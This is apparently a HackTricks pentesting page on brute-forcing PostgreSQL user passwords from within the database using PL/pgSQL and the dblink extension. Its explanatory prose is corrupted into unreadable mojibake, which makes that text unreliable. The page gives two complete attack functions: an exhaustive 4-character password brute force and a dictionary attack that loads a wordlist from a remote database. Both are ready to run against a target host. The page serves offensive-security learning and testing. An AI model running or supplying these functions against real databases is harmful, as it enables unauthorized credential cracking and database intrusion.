PL/pgSQL Password Bruteforce

Reading time: 4 minutes

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Find more information about these attack in the original paper.

PL/pgSQL рдПрдХ рдкреВрд░реНрдг рд╡рд┐рд╢реЗрд╖рддрд╛рдУрдВ рд╡рд╛рд▓рд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛ рд╣реИ рдЬреЛ SQL рдХреА рдХреНрд╖рдорддрд╛рдУрдВ рд╕реЗ рдкрд░реЗ рдмрдврд╝рддрд╛ рд╣реИ, рдЙрдиреНрдирдд рдкреНрд░рдХреНрд░рд┐рдпрд╛рддреНрдордХ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдореЗрдВ рд▓реВрдк рдФрд░ рд╡рд┐рднрд┐рдиреНрди рдирд┐рдпрдВрддреНрд░рдг рд╕рдВрд░рдЪрдирд╛рдУрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рд╢рд╛рдорд┐рд▓ рд╣реИред PL/pgSQL рднрд╛рд╖рд╛ рдореЗрдВ рдмрдирд╛рдП рдЧрдП рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХреЛ SQL рд╕реНрдЯреЗрдЯрдореЗрдВрдЯ рдФрд░ рдЯреНрд░рд┐рдЧрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдмреБрд▓рд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдбреЗрдЯрд╛рдмреЗрд╕ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рднреАрддрд░ рд╕рдВрдЪрд╛рд▓рди рдХреЗ рджрд╛рдпрд░реЗ рдХреЛ рдмрдврд╝рд╛рддрд╛ рд╣реИред

рдЖрдк рдЗрд╕ рднрд╛рд╖рд╛ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ PostgreSQL рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рд╛ рдЬрд╛ рд╕рдХреЗ, рд▓реЗрдХрд┐рди рдпрд╣ рдбреЗрдЯрд╛рдмреЗрд╕ рдкрд░ рдореМрдЬреВрдж рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЖрдк рдЗрд╕рдХреА рдЙрдкрд╕реНрдерд┐рддрд┐ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+--------- plpgsql |

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдлрдВрдХреНрд╢рдВрд╕ рдмрдирд╛рдирд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣реИ рдЬреЛ PUBLIC рдХреЛ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд╣рд╛рдБ PUBLIC рдЙрд╕ рдбреЗрдЯрд╛рдмреЗрд╕ рд╕рд┐рд╕реНрдЯрдо рдкрд░ рд╣рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рд╕рдВрджрд░реНрднрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕реЗ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдП, рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдХреЛ PUBLIC рдбреЛрдореЗрди рд╕реЗ USAGE рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЛ рд╡рд╛рдкрд╕ рд▓реЗрдирд╛ рдкрдбрд╝ рд╕рдХрддрд╛ рдерд╛:

sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдорд╛рд░реА рдкрд┐рдЫрд▓реА рдХреНрд╡реЗрд░реА рд╡рд┐рднрд┐рдиреНрди рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдЖрдЙрдЯрдкреБрдЯ рдХрд░реЗрдЧреА:

sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'; lanname | lanacl ---------+----------------- plpgsql | {admin=U/admin}

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдлрдВрдХреНрд╢рди dblink рдХрд╛ рд╣реЛрдирд╛ рдЖрд╡рд╢реНрдпрдХ рд╣реИред рдпрджрд┐ рдпрд╣ рдореМрдЬреВрдж рдирд╣реАрдВ рд╣реИ, рддреЛ рдЖрдк рдЗрд╕реЗ рдмрдирд╛рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

sql
CREATE EXTENSION dblink;

Password Brute Force

рдпрд╣рд╛рдБ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ рдЖрдк 4 рдЕрдХреНрд╖рд░реЛрдВ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдмреНрд░реВрдЯрдлреЛрд░реНрд╕ рдХреИрд╕реЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

sql
//Create the brute-force function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ DECLARE word TEXT; BEGIN FOR a IN 65..122 LOOP FOR b IN 65..122 LOOP FOR c IN 65..122 LOOP FOR d IN 65..122 LOOP BEGIN word := chr(a) || chr(b) || chr(c) || chr(d); PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; END LOOP; END LOOP; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql'; //Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ 4 рдЕрдХреНрд╖рд░реЛрдВ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдирд╛ рднреА рдХрдИ рдорд┐рдирдЯ рд▓реЗ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рдПрдХ рд╢рдмреНрдж рд╕реВрдЪреА рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдХреЗрд╡рд▓ рдЙрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХреЛ рдЖрдЬрдорд╛ рд╕рдХрддреЗ рд╣реИрдВ (рд╢рдмреНрджрдХреЛрд╢ рд╣рдорд▓рд╛):

sql
//Create the function CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT, username TEXT, dbname TEXT) RETURNS TEXT AS $$ BEGIN FOR word IN (SELECT word FROM dblink('host=1.2.3.4 user=name password=qwerty dbname=wordlists', 'SELECT word FROM wordlist') RETURNS (word TEXT)) LOOP BEGIN PERFORM(SELECT * FROM dblink(' host=' || host || ' port=' || port || ' dbname=' || dbname || ' user=' || username || ' password=' || word, 'SELECT 1') RETURNS (i INT)); RETURN word; EXCEPTION WHEN sqlclient_unable_to_establish_sqlconnection THEN -- do nothing END; END LOOP; RETURN NULL; END; $$ LANGUAGE 'plpgsql' -- Call the function select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

tip

AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ